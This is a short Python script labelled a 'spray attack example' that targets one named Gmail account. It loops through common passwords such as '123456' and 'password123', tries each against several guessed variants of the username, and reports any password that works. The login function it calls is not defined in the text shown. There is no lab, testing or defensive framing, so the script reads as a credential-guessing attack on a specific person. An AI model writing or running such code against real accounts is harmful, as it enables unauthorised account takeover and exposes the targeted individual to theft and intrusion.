#!/usr/bin/env python3
"""
Spray Attack Example for shuaiblawal550@gmail.com
"""

def spray_attack(username, password_list=['qwerty', 'password123', 'admin', '123456']):
    """Try common passwords with username variations"""
    
    # Username variations that might work
    variations = [
        username,
        username.replace('shuaib', 'shaib'),
        username.replace('lawal550', 'lawa'),
        f"{username.split('@')[0]}2023",
    ]
    
    for pwd in password_list:
        print(f"Trying: {pwd}")
        
        # Try with each variation
        for var in variations:
            if attempt_login(var, pwd):
                return pwd
    
    return None

if __name__ == "__main__":
    username = "shuaiblawal550@gmail.com"
    
    result = spray_attack(username)
    
    if result:
        print(f"[SUCCESS] Found password: {result}")
    else:
        print("Password not found.")